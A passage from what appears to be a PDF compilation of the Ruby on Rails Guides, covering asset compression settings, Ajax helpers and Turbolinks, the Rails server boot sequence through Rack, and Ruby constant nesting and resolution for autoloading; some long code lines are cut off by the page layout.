
any items in your cache. By using a different unique asset name instead,
your users get the latest asset.

5 Customizing the Pipeline

5.1 CSS Compression
One of the options for compressing CSS is YUI. The YUI CSS compressor
provides minification.
The following line enables YUI compression, and requires the yuicompressor gem.
config.assets.css_compressor = :yui

The other option for compressing CSS if you have the sass-rails gem
installed is
config.assets.css_compressor = :sass

5.2 JavaScript Compression

Possible options for JavaScript compression are :closure, :uglifier and
:yui. These require the use of the closure-compiler, uglifier or yuicompressor gems, respectively.
The default Gemfile includes uglifier. This gem wraps UglifyJS (written
for NodeJS) in Ruby. It compresses your code by removing white space
and comments, shortening local variable names, and performing other
micro-optimizations such as changing if and else statements to ternary
operators where possible.
The following line invokes uglifier for JavaScript compression.
config.assets.js_compressor = :uglifier

You will need an ExecJS supported runtime in order to use uglifier. If

you are using Mac OS X or Windows you have a JavaScript runtime
installed in your operating system.
The config.assets.compress initialization option is no longer used in
Rails to enable either CSS or JavaScript compression. Setting it will have
no effect on the application. Instead, setting
config.assets.css_compressor and config.assets.js_compressor
will control compression of CSS and JavaScript assets.
5.3 Serving GZipped version of assets
By default, gzipped version of compiled assets will be generated, along
with the non-gzipped version of assets. Gzipped assets help reduce the
transmission of data over the wire. You can configure this by setting the
gzip flag.
config.assets.gzip = false # disable gzipped assets generation

5.4 Using Your Own Compressor

The compressor config settings for CSS and JavaScript also take any
object. This object must have a compress method that takes a string as the
sole argument and it must return a string.
class Transformer
def compress(string)
do_something_returning_a_string(string)
end
end

To enable this, pass a new object to the config option in application.rb:

config.assets.css_compressor = Transformer.new

5.5 Changing the assets Path

The public path that Sprockets uses by default is /assets.
This can be changed to something else:
config.assets.prefix = "/some_other_path"

This is a handy option if you are updating an older project that didn't use
the asset pipeline and already uses this path or you wish to use this path for
a new resource.
5.6 X-Sendfile Headers
The X-Sendfile header is a directive to the web server to ignore the
response from the application, and instead serve a specified file from disk.
This option is off by default, but can be enabled if your server supports it.
When enabled, this passes responsibility for serving the file to the web
server, which is faster. Have a look at send_file on how to use this feature.
Apache and NGINX support this option, which can be enabled in
config/environments/production.rb:

# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for

# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect'

If you are upgrading an existing application and intend to use this option,
take care to paste this configuration option only into production.rb and
any other environments you define with production behavior (not
application.rb).
For further details have a look at the docs of your production web server: -

Apache - NGINX

6 Assets Cache Store

By default, Sprockets caches assets in tmp/cache/assets in development
and production environments. This can be changed as follows:

config.assets.configure do |env|
env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
{ size: 32.megab
end

To disable the assets cache store:

config.assets.configure do |env|
env.cache = ActiveSupport::Cache.lookup_store(:null_store)
end

7 Adding Assets to Your Gems

Assets can also come from external sources in the form of gems.
A good example of this is the jquery-rails gem which comes with Rails
as the standard JavaScript library gem. This gem contains an engine class
which inherits from Rails::Engine. By doing this, Rails is informed that
the directory for this gem may contain assets and the app/assets,
lib/assets and vendor/assets directories of this engine are added to the
search path of Sprockets.

8 Making Your Library or Gem a Pre-Processor

As Sprockets uses Tilt as a generic interface to different templating
engines, your gem should just implement the Tilt template protocol.
Normally, you would subclass Tilt::Template and reimplement the
prepare method, which initializes your template, and the evaluate
method, which returns the processed source. The original source is stored
in data. Have a look at Tilt::Template sources to learn more.
module BangBang
class Template < ::Tilt::Template
def prepare
# Do any initialization here
end
# Adds a "!" to original template.
def evaluate(scope, locals, &block)
"#{data}!"
end
end
end

Now that you have a Template class, it's time to associate it with an
extension for template files:
Sprockets.register_engine '.bang', BangBang::Template

9 Upgrading from Old Versions of Rails

There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The
first is moving the files from public/ to the new locations. See Asset
Organization above for guidance on the correct locations for different file
types.
Next will be avoiding duplicate JavaScript files. Since jQuery is the
default JavaScript library from Rails 3.1 onwards, you don't need to copy
jquery.js into app/assets and it will be included automatically.
The third is updating the various environment files with the correct default
options.
In application.rb:

# Version of your assets, change this if you want to expire all

config.assets.version = '1.0'

# Change the path that assets are served from config.assets.pref

In development.rb:
# Expands the lines which load the assets
config.assets.debug = true

And in production.rb:
# Choose the compressors to use (if any)
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :yui

# Don't fallback to assets pipeline if a precompiled asset is mi

config.assets.compile = false

# Generate digests for assets URLs. This is planned for deprecat

config.assets.digest = true

# Precompile additional assets (application.js, application.css,

# non-JS/CSS are already added)
# config.assets.precompile += %w( search.js )

Rails 4 and above no longer set default config values for Sprockets in
test.rb, so test.rb now requires Sprockets configuration. The old
defaults in the test environment are: config.assets.compile = true,
config.assets.compress = false, config.assets.debug = false and
config.assets.digest = false.
The following should also be added to your Gemfile:
gem 'sass-rails', "~> 3.2.3"
gem 'coffee-rails', "~> 3.2.1"
gem 'uglifier'

Working with JavaScript in Rails

...

1 An Introduction to Ajax
In order to understand Ajax, you must first understand what a web browser
does normally.
When you type http://localhost:3000 into your browser's address bar
and hit 'Go,' the browser (your 'client') makes a request to the server. It
parses the response, then fetches all associated assets, like JavaScript files,
stylesheets and images. It then assembles the page. If you click a link, it
does the same process: fetch the page, fetch the assets, put it all together,
show you the results. This is called the 'request response cycle.'
JavaScript can also make requests to the server, and parse the response. It
also has the ability to update information on the page. Combining these
two powers, a JavaScript writer can make a web page that can update just
parts of itself, without needing to get the full page data from the server.
This is a powerful technique that we call Ajax.
Rails ships with CoffeeScript by default, and so the rest of the examples in
this guide will be in CoffeeScript. All of these lessons, of course, apply to
vanilla JavaScript as well.
As an example, here's some CoffeeScript code that makes an Ajax request
using the jQuery library:
$.ajax(url: "/test").done (html) ->
$("#results").append html

This code fetches data from "/test", and then appends the result to the div
with an id of results.
Rails provides quite a bit of built-in support for building web pages with
this technique. You rarely have to write this code yourself. The rest of this
guide will show you how Rails can help you write websites in this way,

but it's all built on top of this fairly simple technique.

2 Unobtrusive JavaScript
Rails uses a technique called "Unobtrusive JavaScript" to handle attaching
JavaScript to the DOM. This is generally considered to be a best-practice
within the frontend community, but you may occasionally read tutorials
that demonstrate other ways.
Here's the simplest way to write JavaScript. You may see it referred to as
'inline JavaScript':

<a href="#" onclick="this.style.backgroundColor='#990000'">Paint

When clicked, the link background will become red. Here's the problem:
what happens when we have lots of JavaScript we want to execute on a
click?

<a href="#" onclick="this.style.backgroundColor='#009900';this.s

Awkward, right? We could pull the function definition out of the click
handler, and turn it into CoffeeScript:
@paintIt = (element, backgroundColor, textColor) ->
element.style.backgroundColor = backgroundColor
if textColor?
element.style.color = textColor

And then on our page:

<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>

That's a little bit better, but what about multiple links that have the same
effect?

<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>

<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint
<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint

Not very DRY, eh? We can fix this by using events instead. We'll add a
data-* attribute to our link, and then bind a handler to the click event of
every link that has that attribute:
@paintIt = (element, backgroundColor, textColor) ->
element.style.backgroundColor = backgroundColor
if textColor?
element.style.color = textColor
$ ->
$("a[data-background-color]").click (e) ->
e.preventDefault()
backgroundColor = $(this).data("background-color")
textColor = $(this).data("text-color")
paintIt(this, backgroundColor, textColor)

<a href="#" data-background-color="#990000">Paint it red</a>

<a href="#" data-background-color="#009900" data-text-color="#FF
<a href="#" data-background-color="#000099" data-text-color="#FF

We call this 'unobtrusive' JavaScript because we're no longer mixing our

JavaScript into our HTML. We've properly separated our concerns,
making future change easy. We can easily add behavior to any link by
adding the data attribute. We can run all of our JavaScript through a
minimizer and concatenator. We can serve our entire JavaScript bundle on
every page, which means that it'll get downloaded on the first page load
and then be cached on every page after that. Lots of little benefits really
add up.
The Rails team strongly encourages you to write your CoffeeScript (and
JavaScript) in this style, and you can expect that many libraries will also

follow this pattern.

3 Built-in Helpers
Rails provides a bunch of view helper methods written in Ruby to assist
you in generating HTML. Sometimes, you want to add a little Ajax to
those elements, and Rails has got your back in those cases.
Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in
two parts: the JavaScript half and the Ruby half.
Unless you have disabled the Asset Pipeline, rails.js provides the
JavaScript half, and the regular Ruby view helpers add appropriate tags to
your DOM.
3.1 form_for
form_for is a helper that assists with writing forms. form_for takes a
:remote option. It works like this:
<%= form_for(@article, remote: true) do |f| %>
...
<% end %>

This will generate the following HTML:

<form accept-charset="UTF-8" action="/articles" class="new_artic

...
</form>

Note the data-remote="true". Now, the form will be submitted by Ajax

rather than by the browser's normal submit mechanism.
You probably don't want to just sit there with a filled out <form>, though.
You probably want to do something upon a successful submission. To do
that, bind to the ajax:success event. On failure, use ajax:error. Check it

out:

$(document).ready ->
$("#new_article").on("ajax:success", (e, data, status, xhr) ->
$("#new_article").append xhr.responseText
).on "ajax:error", (e, xhr, status, error) ->
$("#new_article").append "<p>ERROR</p>"

Obviously, you'll want to be a bit more sophisticated than that, but it's a
start. You can see more about the events in the jquery-ujs wiki.
3.2 form_tag
form_tag is very similar to form_for. It has a :remote option that you can

use like this:

<%= form_tag('/articles', remote: true) do %>
...
<% end %>

This will generate the following HTML:

<form accept-charset="UTF-8" action="/articles" data-remote="tru

...
</form>

Everything else is the same as form_for. See its documentation for full
details.
3.3 link_to
link_to is a helper that assists with generating links. It has a :remote

option you can use like this:

<%= link_to "an article", @article, remote: true %>

which generates
<a href="/articles/1" data-remote="true">an article</a>

You can bind to the same Ajax events as form_for. Here's an example.
Let's assume that we have a list of articles that can be deleted with just one
click. We would generate some HTML like this:

<%= link_to "Delete article", @article, remote: true, method: :d

and write some CoffeeScript like this:

$ ->
$("a[data-remote]").on "ajax:success", (e, data, status, xhr)
alert "The article was deleted."

3.4 button_to
button_to is a helper that helps you create buttons. It has a :remote

option that you can call like this:

<%= button_to "An article", @article, remote: true %>

this generates

<form action="/articles/1" class="button_to" data-remote="true"

Since it's just a <form>, all of the information on form_for also applies.

4 Server-Side Concerns
Ajax isn't just client-side, you also need to do some work on the server
side to support it. Often, people like their Ajax requests to return JSON
rather than HTML. Let's discuss what it takes to make that happen.
4.1 A Simple Example
Imagine you have a series of users that you would like to display and
provide a form on that same page to create a new user. The index action of
your controller looks like this:
class UsersController < ApplicationController
def index
@users = User.all
@user = User.new
end
# ...

The index view (app/views/users/index.html.erb) contains:

<b>Users</b>
<ul id="users">
<%= render @users %>
</ul>
<br>
<%= form_for(@user, remote: true) do |f| %>
<%= f.label :name %><br>
<%= f.text_field :name %>
<%= f.submit %>
<% end %>

The app/views/users/_user.html.erb partial contains the following:

<li><%= user.name %></li>

The top portion of the index page displays the users. The bottom portion
provides a form to create a new user.
The bottom form will call the create action on the UsersController.
Because the form's remote option is set to true, the request will be posted
to the UsersController as an Ajax request, looking for JavaScript. In
order to serve that request, the create action of your controller would look
like this:
# app/controllers/users_controller.rb
# ......
def create
@user = User.new(params[:user])

respond_to do |format|
if @user.save
format.html { redirect_to @user, notice: 'User was succe
format.js {}
format.json { render json: @user, status: :created, loca
else
format.html { render action: "new" }
format.json { render json: @user.errors, status: :unproc
end
end
end

Notice the format.js in the respond_to block; that allows the controller to
respond to your Ajax request. You then have a corresponding
app/views/users/create.js.erb view file that generates the actual
JavaScript code that will be sent and executed on the client side.
$("<%= escape_javascript(render @user) %>").appendTo("#users");

5 Turbolinks
Rails ships with the Turbolinks library, which uses Ajax to speed up page
rendering in most applications.
5.1 How Turbolinks Works
Turbolinks attaches a click handler to all <a> on the page. If your browser
supports PushState, Turbolinks will make an Ajax request for the page,
parse the response, and replace the entire <body> of the page with the
<body> of the response. It will then use PushState to change the URL to
the correct one, preserving refresh semantics and giving you pretty URLs.
The only thing you have to do to enable Turbolinks is have it in your
Gemfile, and put //= require turbolinks in your JavaScript manifest,
which is usually app/assets/javascripts/application.js.
If you want to disable Turbolinks for certain links, add a dataturbolinks="false" attribute to the tag:
<a href="..." data-turbolinks="false">No turbolinks here</a>.

5.2 Page Change Events

When writing CoffeeScript, you'll often want to do some sort of
processing upon page load. With jQuery, you'd write something like this:
$(document).ready ->
alert "page has loaded!"

However, because Turbolinks overrides the normal page loading process,

the event that this relies on will not be fired. If you have code that looks
like this, you must change your code to do this instead:

$(document).on "turbolinks:load", ->

alert "page has loaded!"

For more details, including other events you can bind to, check out the
Turbolinks README.

6 Other Resources
Here are some helpful links to help you learn even more:
jquery-ujs wiki
jquery-ujs list of external articles
Rails 3 Remote Links and Forms: A Definitive Guide
Railscasts: Unobtrusive JavaScript
Railscasts: Turbolinks

The Rails Initialization Process

...

1 Launch!
Let's start to boot and initialize the app. A Rails application is usually
started by running rails console or rails server.
1.1 railties/exe/rails
The rails in the command rails server is a ruby executable in your
load path. This executable contains the following lines:
version = ">= 0"
load Gem.bin_path('railties', 'rails', version)

If you try out this command in a Rails console, you would see that this
loads railties/exe/rails. A part of the file railties/exe/rails.rb has
the following code:
require "rails/cli"

The file railties/lib/rails/cli in turn calls

Rails::AppLoader.exec_app.
1.2 railties/lib/rails/app_loader.rb
The primary goal of the function exec_app is to execute your app's
bin/rails. If the current directory does not have a bin/rails, it will
navigate upwards until it finds a bin/rails executable. Thus one can
invoke a rails command from anywhere inside a rails application.
For rails server the equivalent of the following command is executed:
$ exec ruby bin/rails server

1.3 bin/rails
This file is as follows:

#!/usr/bin/env ruby
APP_PATH = File.expand_path('../../config/application', __FILE__
require_relative '../config/boot'
require 'rails/commands'

The APP_PATH constant will be used later in rails/commands. The

config/boot file referenced here is the config/boot.rb file in our
application which is responsible for loading Bundler and setting it up.
1.4 config/boot.rb
config/boot.rb contains:

ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FI

require 'bundler/setup' # Set up gems listed in the Gemfile.

In a standard Rails application, there's a Gemfile which declares all

dependencies of the application. config/boot.rb sets
ENV['BUNDLE_GEMFILE'] to the location of this file. If the Gemfile exists,
then bundler/setup is required. The require is used by Bundler to
configure the load path for your Gemfile's dependencies.
A standard Rails application depends on several gems, specifically:
actionmailer
actionpack
actionview
activemodel
activerecord

activesupport
activejob
arel
builder
bundler
erubis
i18n
mail
mime-types
rack
rack-cache
rack-mount
rack-test
rails
railties
rake
sqlite3
thor
tzinfo
1.5 rails/commands.rb
Once config/boot.rb has finished, the next file that is required is
rails/commands, which helps in expanding aliases. In the current case, the
ARGV array simply contains server which will be passed over:
ARGV << '--help' if ARGV.empty?
aliases = {
"g" => "generate",
"d" => "destroy",
"c" => "console",
"s" => "server",
"db" => "dbconsole",
"r" => "runner",
"t" => "test"

}
command = ARGV.shift
command = aliases[command] || command
require 'rails/commands/commands_tasks'
Rails::CommandsTasks.new(ARGV).run_command!(command)

As you can see, an empty ARGV list will make Rails show the help
snippet.
If we had used s rather than server, Rails would have used the aliases
defined here to find the matching command.
1.6 rails/commands/commands_tasks.rb
When one types a valid Rails command, run_command! a method of the
same name is called. If Rails doesn't recognize the command, it tries to run
a Rake task of the same name.

COMMAND_WHITELIST = %w(plugin generate destroy console server db

def run_command!(command)
command = parse_command(command)
if COMMAND_WHITELIST.include?(command)
send(command)
else
run_rake_task(command)
end
end

With the server command, Rails will further run the following code:

def set_application_directory!
Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.ex

end
def server
set_application_directory!
require_command!("server")

Rails::Server.new.tap do |server|
# We need to require application after the server sets envir
# otherwise the --environment option given to the server won
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
end
end
def require_command!(command)
require "rails/commands/#{command}"
end

This file will change into the Rails root directory (a path two directories up
from APP_PATH which points at config/application.rb), but only if the
config.ru file isn't found. This then requires rails/commands/server
which sets up the Rails::Server class.
require 'fileutils'
require 'optparse'
require 'action_dispatch'
require 'rails'
module Rails
class Server < ::Rack::Server

fileutils and optparse are standard Ruby libraries which provide helper

functions for working with files and parsing options.

1.7 actionpack/lib/action_dispatch.rb
Action Dispatch is the routing component of the Rails framework. It adds

functionality like routing, session, and common middlewares.

1.8 rails/commands/server.rb
The Rails::Server class is defined in this file by inheriting from
Rack::Server. When Rails::Server.new is called, this calls the
initialize method in rails/commands/server.rb:
def initialize(*)
super
set_environment
end

Firstly, super is called which calls the initialize method on

Rack::Server.
1.9 Rack: lib/rack/server.rb
Rack::Server is responsible for providing a common server interface for

all Rack-based applications, which Rails is now a part of.

The initialize method in Rack::Server simply sets a couple of
variables:
def initialize(options = nil)
@options = options
@app = options[:app] if options && options[:app]
end

In this case, options will be nil so nothing happens in this method.

After super has finished in Rack::Server, we jump back to
rails/commands/server.rb. At this point, set_environment is called
within the context of the Rails::Server object and this method doesn't

appear to do much at first glance:

def set_environment
ENV["RAILS_ENV"] ||= options[:environment]
end

In fact, the options method here does quite a lot. This method is defined
in Rack::Server like this:
def options
@options ||= parse_options(ARGV)
end

Then parse_options is defined like this:

def parse_options(args)
options = default_options
# Don't evaluate CGI ISINDEX parameters.
# http://www.meb.uni-bonn.de/docs/cgi/cl.html
args.clear if ENV.include?("REQUEST_METHOD")
options.merge! opt_parser.parse!(args)
options[:config] = ::File.expand_path(options[:config])
ENV["RACK_ENV"] = options[:environment]
options
end

With the default_options set to this:

def default_options
environment = ENV['RACK_ENV'] || 'development'
default_host = environment == 'development' ? 'localhost' : '0
{
:environment => environment,
:pid => nil,
:Port => 9292,

:Host => default_host,

:AccessLog => [],
:config => "config.ru"
}
end

There is no REQUEST_METHOD key in ENV so we can skip over that line. The
next line merges in the options from opt_parser which is defined plainly
in Rack::Server:
def opt_parser
Options.new
end

The class is defined in Rack::Server, but is overwritten in Rails::Server

to take different arguments. Its parse! method begins like this:
def parse!(args)
args, options = args.dup, {}

opt_parser = OptionParser.new do |opts|

opts.banner = "Usage: rails server [mongrel, thin, etc] [opt
opts.on("-p", "--port=port", Integer,
"Runs Rails on the specified port.", "Default: 3000"
...

This method will set up keys for the options which Rails will then be able
to use to determine how its server should run. After initialize has
finished, we jump back into rails/server where APP_PATH (which was
set earlier) is required.
1.10 config/application
When require APP_PATH is executed, config/application.rb is loaded
(recall that APP_PATH is defined in bin/rails). This file exists in your

application and it's free for you to change based on your needs.
1.11 Rails::Server#start
After config/application is loaded, server.start is called. This
method is defined like this:
def start
print_boot_information
trap(:INT) { exit }
create_tmp_directories
log_to_stdout if options[:log_stdout]
super
...
end
private
def print_boot_information
...
puts "=> Run `rails server -h` for more startup options"
end

def create_tmp_directories
%w(cache pids sockets).each do |dir_to_make|
FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make
end
end
def log_to_stdout
wrapped_app # touch the app so the logger is set up
console = ActiveSupport::Logger.new($stdout)
console.formatter = Rails.logger.formatter
console.level = Rails.logger.level

Rails.logger.extend(ActiveSupport::Logger.broadcast(console)
end

This is where the first output of the Rails initialization happens. This
method creates a trap for INT signals, so if you CTRL-C the server, it will
exit the process. As we can see from the code here, it will create the
tmp/cache, tmp/pids, and tmp/sockets directories. It then calls
wrapped_app which is responsible for creating the Rack app, before
creating and assigning an instance of ActiveSupport::Logger.
The super method will call Rack::Server.start which begins its
definition like this:
def start &blk
if options[:warn]
$-w = true
end
if includes = options[:include]
$LOAD_PATH.unshift(*includes)
end
if library = options[:require]
require library
end
if options[:debug]
$DEBUG = true
require 'pp'
p options[:server]
pp wrapped_app
pp app
end
check_pid! if options[:pid]

# Touch the wrapped app, so that the config.ru is loaded befor

# daemonization (i.e. before chdir, etc).
wrapped_app
daemonize_app if options[:daemonize]
write_pid if options[:pid]

trap(:INT) do
if server.respond_to?(:shutdown)
server.shutdown
else
exit
end
end
server.run wrapped_app, options, &blk
end

The interesting part for a Rails app is the last line, server.run. Here we
encounter the wrapped_app method again, which this time we're going to
explore more (even though it was executed before, and thus memoized by
now).
@wrapped_app ||= build_app app

The app method here is defined like so:

def app
@app ||= options[:builder] ? build_app_from_string : build_app
end
...
private
def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end

app, options = Rack::Builder.parse_file(self.options[:config

self.options.merge! options
app
end
def build_app_from_string
Rack::Builder.new_from_string(self.options[:builder])
end

The options[:config] value defaults to config.ru which contains this:

# This file is used by Rack-based servers to start the applicati

require ::File.expand_path('../config/environment', __FILE__)
run <%= app_const %>

The Rack::Builder.parse_file method here takes the content from this

config.ru file and parses it using this code:
app = new_from_string cfgfile, config
...
def self.new_from_string(builder_script, file="(rackup)")
eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
TOPLEVEL_BINDING, file, 0
end

The initialize method of Rack::Builder will take the block here and
execute it within an instance of Rack::Builder. This is where the majority
of the initialization process of Rails happens. The require line for
config/environment.rb in config.ru is the first to run:
require ::File.expand_path('../config/environment', __FILE__)

1.12 config/environment.rb
This file is the common file required by config.ru (rails server) and
Passenger. This is where these two ways to run the server meet; everything
before this point has been Rack and Rails setup.
This file begins with requiring config/application.rb:
require File.expand_path('../application', __FILE__)

1.13 config/application.rb
This file requires config/boot.rb:
require File.expand_path('../boot', __FILE__)

But only if it hasn't been required before, which would be the case in
rails server but wouldn't be the case with Passenger.
Then the fun begins!

2 Loading Rails
The next line in config/application.rb is:
require 'rails/all'

2.1 railties/lib/rails/all.rb
This file is responsible for requiring all the individual frameworks of
Rails:
require "rails"
%w(
active_record/railtie
action_controller/railtie
action_view/railtie
action_mailer/railtie
active_job/railtie
action_cable/engine
rails/test_unit/railtie
sprockets/railtie
).each do |railtie|
begin
require "#{railtie}"
rescue LoadError
end
end

This is where all the Rails frameworks are loaded and thus made available
to the application. We won't go into detail of what happens inside each of
those frameworks, but you're encouraged to try and explore them on your
own.
For now, just keep in mind that common functionality like Rails engines,
I18n and Rails configuration are all being defined here.

2.2 Back to config/environment.rb

The rest of config/application.rb defines the configuration for the
Rails::Application which will be used once the application is fully
initialized. When config/application.rb has finished loading Rails and
defined the application namespace, we go back to
config/environment.rb. Here, the application is initialized with
Rails.application.initialize!, which is defined in
rails/application.rb.
2.3 railties/lib/rails/application.rb
The initialize! method looks like this:

def initialize!(group=:default) #:nodoc:

raise "Application has been already initialized." if @initiali
run_initializers(group, self)
@initialized = true
self
end

As you can see, you can only initialize an app once. The initializers are run
through the run_initializers method which is defined in
railties/lib/rails/initializable.rb:
def run_initializers(group=:default, *args)
return if instance_variable_defined?(:@ran)
initializers.tsort_each do |initializer|
initializer.run(*args) if initializer.belongs_to?(group)
end
@ran = true
end

The run_initializers code itself is tricky. What Rails is doing here is

traversing all the class ancestors looking for those that respond to an

initializers method. It then sorts the ancestors by name, and runs them.
For example, the Engine class will make all the engines available by
providing an initializers method on them.

The Rails::Application class, as defined in

railties/lib/rails/application.rb defines bootstrap, railtie, and
finisher initializers. The bootstrap initializers prepare the application
(like initializing the logger) while the finisher initializers (like building
the middleware stack) are run last. The railtie initializers are the
initializers which have been defined on the Rails::Application itself and
are run between the bootstrap and finishers.
After this is done we go back to Rack::Server.
2.4 Rack: lib/rack/server.rb
Last time we left when the app method was being defined:

app, options = Rack::Builder.parse_file(self.options[:config

self.options.merge! options
app
end
def build_app_from_string
Rack::Builder.new_from_string(self.options[:builder])
end

At this point app is the Rails app itself (a middleware), and what happens
next is Rack will call all the provided middlewares:

def build_app(app)
middleware[options[:environment]].reverse_each do |middleware|
middleware = middleware.call(self) if middleware.respond_to?
next unless middleware
klass = middleware.shift
app = klass.new(app, *middleware)
end
app
end

Remember, build_app was called (by wrapped_app) in the last line of

Server#start. Here's how it looked like when we left:
server.run wrapped_app, options, &blk

At this point, the implementation of server.run will depend on the server

you're using. For example, if you were using Puma, here's what the run
method would look like:
...
DEFAULT_OPTIONS = {
:Host => '0.0.0.0',
:Port => 8080,
:Threads => '0:16',
:Verbose => false
}
def self.run(app, options = {})
options = DEFAULT_OPTIONS.merge(options)
if options[:Verbose]
app = Rack::CommonLogger.new(app, STDOUT)
end
if options[:environment]

ENV['RACK_ENV'] = options[:environment].to_s
end
server = ::Puma::Server.new(app)
min, max = options[:Threads].split(':', 2)

puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."

puts "* Min threads: #{min}, max threads: #{max}"
puts "* Environment: #{ENV['RACK_ENV']}"
puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}
server.add_tcp_listener options[:Host], options[:Port]
server.min_threads = min
server.max_threads = max
yield server if block_given?

begin
server.run.join
rescue Interrupt
puts "* Gracefully stopping, waiting for requests to finish"
server.stop(true)
puts "* Goodbye!"
end
end

We won't dig into the server configuration itself, but this is the last piece
of our journey in the Rails initialization process.
This high level overview will help you understand when your code is
executed and how, and overall become a better Rails developer. If you still
want to know more, the Rails source code itself is probably the best place
to go next.

Autoloading and Reloading

Constants ...

1 Introduction
Ruby on Rails allows applications to be written as if their code was
preloaded.
In a normal Ruby program classes need to load their dependencies:
require 'application_controller'
require 'post'
class PostsController < ApplicationController
def index
@posts = Post.all
end
end

Our Rubyist instinct quickly sees some redundancy in there: If classes

were defined in files matching their name, couldn't their loading be
automated somehow? We could save scanning the file for dependencies,
which is brittle.
Moreover, Kernel#require loads files once, but development is much
more smooth if code gets refreshed when it changes without restarting the
server. It would be nice to be able to use Kernel#load in development, and
Kernel#require in production.
Indeed, those features are provided by Ruby on Rails, where we just write
class PostsController < ApplicationController
def index
@posts = Post.all
end
end

This guide documents how that works.

2 Constants Refresher
While constants are trivial in most programming languages, they are a rich
topic in Ruby.
It is beyond the scope of this guide to document Ruby constants, but we
are nevertheless going to highlight a few key topics. Truly grasping the
following sections is instrumental to understanding constant autoloading
and reloading.
2.1 Nesting
Class and module definitions can be nested to create namespaces:
module XML
class SAXParser
# (1)
end
end

The nesting at any given place is the collection of enclosing nested class
and module objects outwards. The nesting at any given place can be
inspected with Module.nesting. For example, in the previous example, the
nesting at (1) is
[XML::SAXParser, XML]

It is important to understand that the nesting is composed of class and

module objects, it has nothing to do with the constants used to access
them, and is also unrelated to their names.
For instance, while this definition is similar to the previous one:
class XML::SAXParser

# (2)
end

the nesting in (2) is different:

[XML::SAXParser]

XML does not belong to it.

We can see in this example that the name of a class or module that belongs
to a certain nesting does not necessarily correlate with the namespaces at
the spot.
Even more, they are totally independent, take for instance
module X
module Y
end
end
module A
module B
end
end
module X::Y
module A::B
# (3)
end
end

The nesting in (3) consists of two module objects:

[A::B, X::Y]

So, it not only doesn't end in A, which does not even belong to the nesting,

but it also contains X::Y, which is independent from A::B.

The nesting is an internal stack maintained by the interpreter, and it gets
modified according to these rules:
The class object following a class keyword gets pushed when its
body is executed, and popped after it.
The module object following a module keyword gets pushed when its
body is executed, and popped after it.
A singleton class opened with class << object gets pushed, and
popped later.
When instance_eval is called using a string argument, the singleton
class of the receiver is pushed to the nesting of the eval'ed code.
When class_eval or module_eval is called using a string argument,
the receiver is pushed to the nesting of the eval'ed code.
The nesting at the top-level of code interpreted by Kernel#load is
empty unless the load call receives a true value as second argument,
in which case a newly created anonymous module is pushed by Ruby.
It is interesting to observe that blocks do not modify the stack. In particular
the blocks that may be passed to Class.new and Module.new do not get the
class or module being defined pushed to their nesting. That's one of the
differences between defining classes and modules in one way or another.
2.2 Class and Module Definitions are Constant Assignments
Let's suppose the following snippet creates a class (rather than reopening
it):
class C
end

Ruby creates a constant C in Object and stores in that constant a class

object. The name of the class instance is "C", a string, named after the

constant.
That is,
class Project < ApplicationRecord
end

performs a constant assignment equivalent to

Project = Class.new(ApplicationRecord)

including setting the name of the class as a side-effect:

Project.name # => "Project"

Constant assignment has a special rule to make that happen: if the object
being assigned is an anonymous class or module, Ruby sets the object's
name to the name of the constant.
From then on, what happens to the constant and the instance does not
matter. For example, the constant could be deleted, the class object could
be assigned to a different constant, be stored in no constant anymore, etc.
Once the name is set, it doesn't change.
Similarly, module creation using the module keyword as in
module Admin
end

performs a constant assignment equivalent to

Admin = Module.new

including setting the name as a side-effect:

Admin.name # => "Admin"

The execution context of a block passed to Class.new or Module.new is

not entirely equivalent to the one of the body of the definitions using the
class and module keywords. But both idioms result in the same constant
assignment.
Thus, when one informally says "the String class", that really means: the
class object stored in the constant called "String" in the class object stored
in the Object constant. String is otherwise an ordinary Ruby constant and
everything related to constants such as resolution algorithms applies to it.
Likewise, in the controller
class PostsController < ApplicationController
def index
@posts = Post.all
end
end

Post is not syntax for a class. Rather, Post is a regular Ruby constant. If
all is good, the constant is evaluated to an object that responds to all.

That is why we talk about constant autoloading, Rails has the ability to
load constants on the fly.
2.3 Constants are Stored in Modules
Constants belong to modules in a very literal sense. Classes and modules
have a constant table; think of it as a hash table.
Let's analyze an example to really understand what that means. While

common abuses of language like "the String class" are convenient, the
exposition is going to be precise here for didactic purposes.
Let's consider the following module definition:
module Colors
RED = '0xff0000'
end

First, when the module keyword is processed, the interpreter creates a new
entry in the constant table of the class object stored in the Object constant.
Said entry associates the name "Colors" to a newly created module object.
Furthermore, the interpreter sets the name of the new module object to be
the string "Colors".
Later, when the body of the module definition is interpreted, a new entry is
created in the constant table of the module object stored in the Colors
constant. That entry maps the name "RED" to the string "0xff0000".
In particular, Colors::RED is totally unrelated to any other RED constant
that may live in any other class or module object. If there were any, they
would have separate entries in their respective constant tables.
Pay special attention in the previous paragraphs to the distinction between
class and module objects, constant names, and value objects associated to
them in constant tables.
2.4 Resolution Algorithms
2.4.1 Resolution Algorithm for Relative Constants

At any given place in the code, let's define cref to be the first element of
the nesting if it is not empty, or Object otherwise.

Without getting too much into the details, the resolution algorithm for
relative constant references goes like this:
1. If the nesting is not empty the constant is looked up in its elements
and in order. The ancestors of those elements are ignored.
2. If not found, then the algorithm walks up the ancestor chain of the
cref.
3. If not found and the cref is a module, the constant is looked up in
Object.
4. If not found, const_missing is invoked on the cref. The default
implementation of const_missing raises NameError, but it can be
overridden.
Rails autoloading does not emulate this algorithm, but its starting point
is the name of the constant to be autoloaded, and the cref. See more in
Relative References.
